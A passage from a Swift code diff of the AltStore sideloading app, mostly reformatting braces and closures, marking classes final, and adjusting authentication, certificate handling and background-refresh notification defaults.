{
|
||||||
// Can't deactivate AltStore.
|
// Can't deactivate AltStore.
|
||||||
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
|
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
|
||||||
}
|
}
|
||||||
@@ -1985,8 +2069,10 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
installedApp.isActive = true
|
installedApp.isActive = true
|
||||||
|
|
||||||
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
|
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
|
||||||
self.deactivate(previousInstalledApp) { (result) in
|
self.deactivate(previousInstalledApp)
|
||||||
installedApp.managedObjectContext?.perform {
|
{ result in
|
||||||
|
installedApp.managedObjectContext?.perform
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure: installedApp.isActive = false
|
case .failure: installedApp.isActive = false
|
||||||
@@ -2060,7 +2146,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
|
|||||||
switch controller.documentPickerMode
|
switch controller.documentPickerMode
|
||||||
{
|
{
|
||||||
case .import, .open:
|
case .import, .open:
|
||||||
self.sideloadApp(at: fileURL) { (result) in
|
self.sideloadApp(at: fileURL)
|
||||||
|
{ result in
|
||||||
print("Sideloaded app at \(fileURL) with result:", result)
|
print("Sideloaded app at \(fileURL) with result:", result)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2086,7 +2173,7 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
|
|||||||
previewingContext.sourceRect = cell.frame
|
previewingContext.sourceRect = cell.frame
|
||||||
|
|
||||||
let app = self.dataSource.item(at: indexPath)
|
let app = self.dataSource.item(at: indexPath)
|
||||||
guard let storeApp = app.storeApp else { return nil}
|
guard let storeApp = app.storeApp else { return nil }
|
||||||
|
|
||||||
let appViewController = AppViewController.makeAppViewController(app: storeApp)
|
let appViewController = AppViewController.makeAppViewController(app: storeApp)
|
||||||
return appViewController
|
return appViewController
|
||||||
@@ -2106,9 +2193,10 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
|
|||||||
|
|
||||||
extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate
|
extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate
|
||||||
{
|
{
|
||||||
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any])
|
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey: Any])
|
||||||
|
{
|
||||||
|
defer
|
||||||
{
|
{
|
||||||
defer {
|
|
||||||
picker.dismiss(animated: true, completion: nil)
|
picker.dismiss(animated: true, completion: nil)
|
||||||
self._imagePickerInstalledApp = nil
|
self._imagePickerInstalledApp = nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ extension UpdateCollectionViewCell
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@objc class UpdateCollectionViewCell: UICollectionViewCell
|
@objc final class UpdateCollectionViewCell: UICollectionViewCell
|
||||||
{
|
{
|
||||||
var mode: Mode = .expanded {
|
var mode: Mode = .expanded {
|
||||||
didSet {
|
didSet {
|
||||||
|
|||||||
@@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
import UIKit
|
import UIKit
|
||||||
|
|
||||||
class NewsCollectionViewCell: UICollectionViewCell
|
final class NewsCollectionViewCell: UICollectionViewCell
|
||||||
{
|
{
|
||||||
@IBOutlet var titleLabel: UILabel!
|
@IBOutlet var titleLabel: UILabel!
|
||||||
@IBOutlet var captionLabel: UILabel!
|
@IBOutlet var captionLabel: UILabel!
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ import Roxas
|
|||||||
|
|
||||||
import Nuke
|
import Nuke
|
||||||
|
|
||||||
private class AppBannerFooterView: UICollectionReusableView
|
private final class AppBannerFooterView: UICollectionReusableView
|
||||||
{
|
{
|
||||||
let bannerView = AppBannerView(frame: .zero)
|
let bannerView = AppBannerView(frame: .zero)
|
||||||
let tapGestureRecognizer = UITapGestureRecognizer(target: nil, action: nil)
|
let tapGestureRecognizer = UITapGestureRecognizer(target: nil, action: nil)
|
||||||
@@ -41,7 +41,7 @@ private class AppBannerFooterView: UICollectionReusableView
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class NewsViewController: UICollectionViewController
|
final class NewsViewController: UICollectionViewController
|
||||||
{
|
{
|
||||||
private lazy var dataSource = self.makeDataSource()
|
private lazy var dataSource = self.makeDataSource()
|
||||||
private lazy var placeholderView = RSTPlaceholderView(frame: .zero)
|
private lazy var placeholderView = RSTPlaceholderView(frame: .zero)
|
||||||
@@ -391,7 +391,7 @@ extension NewsViewController
|
|||||||
let progress = AppManager.shared.installationProgress(for: storeApp)
|
let progress = AppManager.shared.installationProgress(for: storeApp)
|
||||||
footerView.bannerView.button.progress = progress
|
footerView.bannerView.button.progress = progress
|
||||||
|
|
||||||
if Date() < storeApp.versionDate
|
if let versionDate = storeApp.latestVersion?.date, versionDate > Date()
|
||||||
{
|
{
|
||||||
footerView.bannerView.button.countdownDate = storeApp.versionDate
|
footerView.bannerView.button.countdownDate = storeApp.versionDate
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,11 +7,11 @@
|
|||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
import Roxas
|
|
||||||
import Network
|
import Network
|
||||||
|
import Roxas
|
||||||
|
|
||||||
import AltStoreCore
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
enum AuthenticationError: LocalizedError
|
enum AuthenticationError: LocalizedError
|
||||||
{
|
{
|
||||||
@@ -22,8 +22,10 @@ enum AuthenticationError: LocalizedError
|
|||||||
case missingPrivateKey
|
case missingPrivateKey
|
||||||
case missingCertificate
|
case missingCertificate
|
||||||
|
|
||||||
var errorDescription: String? {
|
var errorDescription: String?
|
||||||
switch self {
|
{
|
||||||
|
switch self
|
||||||
|
{
|
||||||
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
|
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
|
||||||
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
|
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
|
||||||
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
|
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
|
||||||
@@ -34,7 +36,7 @@ enum AuthenticationError: LocalizedError
|
|||||||
}
|
}
|
||||||
|
|
||||||
@objc(AuthenticationOperation)
|
@objc(AuthenticationOperation)
|
||||||
class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppleAPISession)>
|
final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppleAPISession)>
|
||||||
{
|
{
|
||||||
let context: AuthenticatedOperationContext
|
let context: AuthenticatedOperationContext
|
||||||
|
|
||||||
@@ -82,7 +84,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Sign In
|
// Sign In
|
||||||
self.signIn() { (result) in
|
self.signIn
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -93,7 +96,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Fetch Team
|
// Fetch Team
|
||||||
self.fetchTeam(for: account, session: session) { (result) in
|
self.fetchTeam(for: account, session: session)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -104,7 +108,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Fetch Certificate
|
// Fetch Certificate
|
||||||
self.fetchCertificate(for: team, session: session) { (result) in
|
self.fetchCertificate(for: team, session: session)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -115,7 +120,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Register Device
|
// Register Device
|
||||||
self.registerCurrentDevice(for: team, session: session) { (result) in
|
self.registerCurrentDevice(for: team, session: session)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -125,7 +131,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Save account/team to disk.
|
// Save account/team to disk.
|
||||||
self.save(team) { (result) in
|
self.save(team)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -133,7 +140,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
case .failure(let error): self.finish(.failure(error))
|
case .failure(let error): self.finish(.failure(error))
|
||||||
case .success:
|
case .success:
|
||||||
// Must cache App IDs _after_ saving account/team to disk.
|
// Must cache App IDs _after_ saving account/team to disk.
|
||||||
self.cacheAppIDs(team: team, session: session) { (result) in
|
self.cacheAppIDs(team: team, session: session)
|
||||||
|
{ result in
|
||||||
let result = result.map { _ in (team, certificate, session) }
|
let result = result.map { _ in (team, certificate, session) }
|
||||||
self.finish(result)
|
self.finish(result)
|
||||||
}
|
}
|
||||||
@@ -152,7 +160,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
||||||
{
|
{
|
||||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
context.performAndWait {
|
context.performAndWait
|
||||||
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let account: Account
|
let account: Account
|
||||||
@@ -204,7 +213,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
|
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
|
||||||
|
|
||||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
context.perform {
|
context.perform
|
||||||
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (altTeam, altCertificate, session) = try result.get()
|
let (altTeam, altCertificate, session) = try result.get()
|
||||||
@@ -241,7 +251,7 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||||
{
|
{
|
||||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -258,14 +268,16 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
Keychain.shared.signingCertificate = altCertificate.p12Data()
|
Keychain.shared.signingCertificate = altCertificate.p12Data()
|
||||||
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
|
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
|
||||||
|
|
||||||
self.showInstructionsIfNecessary() { (didShowInstructions) in
|
self.showInstructionsIfNecessary
|
||||||
|
{ _ in
|
||||||
let signer = ALTSigner(team: altTeam, certificate: altCertificate)
|
let signer = ALTSigner(team: altTeam, certificate: altCertificate)
|
||||||
// Refresh screen must go last since a successful refresh will cause the app to quit.
|
// Refresh screen must go last since a successful refresh will cause the app to quit.
|
||||||
self.showRefreshScreenIfNecessary(signer: signer, session: session) { (didShowRefreshAlert) in
|
self.showRefreshScreenIfNecessary(signer: signer, session: session)
|
||||||
|
{ _ in
|
||||||
super.finish(result)
|
super.finish(result)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.navigationController.dismiss(animated: true, completion: nil)
|
self.navigationController.dismiss(animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -275,7 +287,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
|
|||||||
{
|
{
|
||||||
super.finish(result)
|
super.finish(result)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.navigationController.dismiss(animated: true, completion: nil)
|
self.navigationController.dismiss(animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -314,14 +327,16 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
func authenticate()
|
func authenticate()
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||||
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
authenticationViewController.authenticationHandler = { appleID, password, completionHandler in
|
||||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
self.authenticate(appleID: appleID, password: password)
|
||||||
|
{ result in
|
||||||
completionHandler(result)
|
completionHandler(result)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
authenticationViewController.completionHandler = { (result) in
|
authenticationViewController.completionHandler = { result in
|
||||||
if let (account, session, password) = result
|
if let (account, session, password) = result
|
||||||
{
|
{
|
||||||
// We presented the Auth UI and the user signed in.
|
// We presented the Auth UI and the user signed in.
|
||||||
@@ -346,7 +361,8 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
|
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
|
||||||
{
|
{
|
||||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
self.authenticate(appleID: appleID, password: password)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success((let account, let session)):
|
case .success((let account, let session)):
|
||||||
@@ -372,7 +388,7 @@ private extension AuthenticationOperation
|
|||||||
self.appleIDEmailAddress = appleID
|
self.appleIDEmailAddress = appleID
|
||||||
|
|
||||||
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
|
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
|
||||||
fetchAnisetteDataOperation.resultHandler = { (result) in
|
fetchAnisetteDataOperation.resultHandler = { result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error): completionHandler(.failure(error))
|
case .failure(let error): completionHandler(.failure(error))
|
||||||
@@ -381,10 +397,12 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
if let presentingViewController = self.presentingViewController
|
if let presentingViewController = self.presentingViewController
|
||||||
{
|
{
|
||||||
verificationHandler = { (completionHandler) in
|
verificationHandler = { completionHandler in
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||||
alertController.addTextField { (textField) in
|
alertController.addTextField
|
||||||
|
{ textField in
|
||||||
textField.autocorrectionType = .no
|
textField.autocorrectionType = .no
|
||||||
textField.autocapitalizationType = .none
|
textField.autocapitalizationType = .none
|
||||||
textField.keyboardType = .numberPad
|
textField.keyboardType = .numberPad
|
||||||
@@ -392,7 +410,8 @@ private extension AuthenticationOperation
|
|||||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||||
}
|
}
|
||||||
|
|
||||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default)
|
||||||
|
{ _ in
|
||||||
let textField = alertController.textFields?.first
|
let textField = alertController.textFields?.first
|
||||||
|
|
||||||
let code = textField?.text ?? ""
|
let code = textField?.text ?? ""
|
||||||
@@ -402,7 +421,8 @@ private extension AuthenticationOperation
|
|||||||
alertController.addAction(submitAction)
|
alertController.addAction(submitAction)
|
||||||
self.submitCodeAction = submitAction
|
self.submitCodeAction = submitAction
|
||||||
|
|
||||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel)
|
||||||
|
{ _ in
|
||||||
completionHandler(nil)
|
completionHandler(nil)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -424,7 +444,8 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
||||||
verificationHandler: verificationHandler) { (account, session, error) in
|
verificationHandler: verificationHandler)
|
||||||
|
{ account, session, error in
|
||||||
if let account = account, let session = session
|
if let account = account, let session = session
|
||||||
{
|
{
|
||||||
completionHandler(.success((account, session)))
|
completionHandler(.success((account, session)))
|
||||||
@@ -444,14 +465,21 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
func selectTeam(from teams: [ALTTeam])
|
func selectTeam(from teams: [ALTTeam])
|
||||||
{
|
{
|
||||||
if teams.count <= 1 {
|
if teams.count <= 1
|
||||||
if let team = teams.first {
|
{
|
||||||
|
if let team = teams.first
|
||||||
|
{
|
||||||
return completionHandler(.success(team))
|
return completionHandler(.success(team))
|
||||||
} else {
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||||
}
|
}
|
||||||
} else {
|
}
|
||||||
DispatchQueue.main.async {
|
else
|
||||||
|
{
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||||
|
|
||||||
selectTeamViewController.teams = teams
|
selectTeamViewController.teams = teams
|
||||||
@@ -465,12 +493,14 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in
|
ALTAppleAPI.shared.fetchTeams(for: account, session: session)
|
||||||
|
{ teams, error in
|
||||||
switch Result(teams, error)
|
switch Result(teams, error)
|
||||||
{
|
{
|
||||||
case .failure(let error): completionHandler(.failure(error))
|
case .failure(let error): completionHandler(.failure(error))
|
||||||
case .success(let teams):
|
case .success(let teams):
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
DatabaseManager.shared.persistentContainer.performBackgroundTask
|
||||||
|
{ context in
|
||||||
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
|
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
|
||||||
{
|
{
|
||||||
completionHandler(.success(altTeam))
|
completionHandler(.success(altTeam))
|
||||||
@@ -489,18 +519,22 @@ private extension AuthenticationOperation
|
|||||||
func requestCertificate()
|
func requestCertificate()
|
||||||
{
|
{
|
||||||
let machineName = "AltStore - " + UIDevice.current.name
|
let machineName = "AltStore - " + UIDevice.current.name
|
||||||
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
|
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session)
|
||||||
|
{ certificate, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let certificate = try Result(certificate, error).get()
|
let certificate = try Result(certificate, error).get()
|
||||||
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
|
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
|
||||||
|
{ certificates, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let certificates = try Result(certificates, error).get()
|
let certificates = try Result(certificates, error).get()
|
||||||
|
|
||||||
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
|
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber })
|
||||||
|
else
|
||||||
|
{
|
||||||
throw AuthenticationError.missingCertificate
|
throw AuthenticationError.missingCertificate
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -524,7 +558,8 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
|
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
|
||||||
|
|
||||||
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
|
ALTAppleAPI.shared.revoke(certificate, for: team, session: session)
|
||||||
|
{ success, error in
|
||||||
if let error = error, !success
|
if let error = error, !success
|
||||||
{
|
{
|
||||||
completionHandler(.failure(error))
|
completionHandler(.failure(error))
|
||||||
@@ -536,7 +571,8 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
|
||||||
|
{ certificates, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let certificates = try Result(certificates, error).get()
|
let certificates = try Result(certificates, error).get()
|
||||||
@@ -593,11 +629,14 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
||||||
{
|
{
|
||||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
|
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
|
||||||
|
else
|
||||||
|
{
|
||||||
return completionHandler(.failure(OperationError.unknownUDID))
|
return completionHandler(.failure(OperationError.unknownUDID))
|
||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session) { (devices, error) in
|
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session)
|
||||||
|
{ devices, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let devices = try Result(devices, error).get()
|
let devices = try Result(devices, error).get()
|
||||||
@@ -608,7 +647,8 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session) { (device, error) in
|
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session)
|
||||||
|
{ device, error in
|
||||||
completionHandler(Result(device, error))
|
completionHandler(Result(device, error))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -623,7 +663,7 @@ private extension AuthenticationOperation
|
|||||||
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
||||||
{
|
{
|
||||||
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
|
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
|
||||||
fetchAppIDsOperation.resultHandler = { (result) in
|
fetchAppIDsOperation.resultHandler = { result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (_, context) = try result.get()
|
let (_, context) = try result.get()
|
||||||
@@ -644,7 +684,8 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||||
instructionsViewController.showsBottomButton = true
|
instructionsViewController.showsBottomButton = true
|
||||||
instructionsViewController.completionHandler = {
|
instructionsViewController.completionHandler = {
|
||||||
@@ -668,7 +709,8 @@ private extension AuthenticationOperation
|
|||||||
#if DEBUG
|
#if DEBUG
|
||||||
completionHandler(false)
|
completionHandler(false)
|
||||||
#else
|
#else
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let context = AuthenticatedOperationContext(context: self.context)
|
let context = AuthenticatedOperationContext(context: self.context)
|
||||||
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.
|
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.
|
||||||
|
|
||||||
|
|||||||
@@ -51,12 +51,12 @@ private let ReceivedApplicationState: @convention(c) (CFNotificationCenter?, Uns
|
|||||||
}
|
}
|
||||||
|
|
||||||
@objc(BackgroundRefreshAppsOperation)
|
@objc(BackgroundRefreshAppsOperation)
|
||||||
class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<InstalledApp, Error>]>
|
final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<InstalledApp, Error>]>
|
||||||
{
|
{
|
||||||
let installedApps: [InstalledApp]
|
let installedApps: [InstalledApp]
|
||||||
private let managedObjectContext: NSManagedObjectContext
|
private let managedObjectContext: NSManagedObjectContext
|
||||||
|
|
||||||
var presentsFinishedNotification: Bool = true
|
var presentsFinishedNotification: Bool = false
|
||||||
|
|
||||||
private let refreshIdentifier: String = UUID().uuidString
|
private let refreshIdentifier: String = UUID().uuidString
|
||||||
private var runningApplications: Set<String> = []
|
private var runningApplications: Set<String> = []
|
||||||
@@ -189,12 +189,12 @@ private extension BackgroundRefreshAppsOperation
|
|||||||
|
|
||||||
let content = UNMutableNotificationContent()
|
let content = UNMutableNotificationContent()
|
||||||
|
|
||||||
var shouldPresentAlert = true
|
var shouldPresentAlert = false
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let results = try result.get()
|
let results = try result.get()
|
||||||
shouldPresentAlert = !results.isEmpty
|
shouldPresentAlert = false
|
||||||
|
|
||||||
for (_, result) in results
|
for (_, result) in results
|
||||||
{
|
{
|
||||||
@@ -216,7 +216,7 @@ private extension BackgroundRefreshAppsOperation
|
|||||||
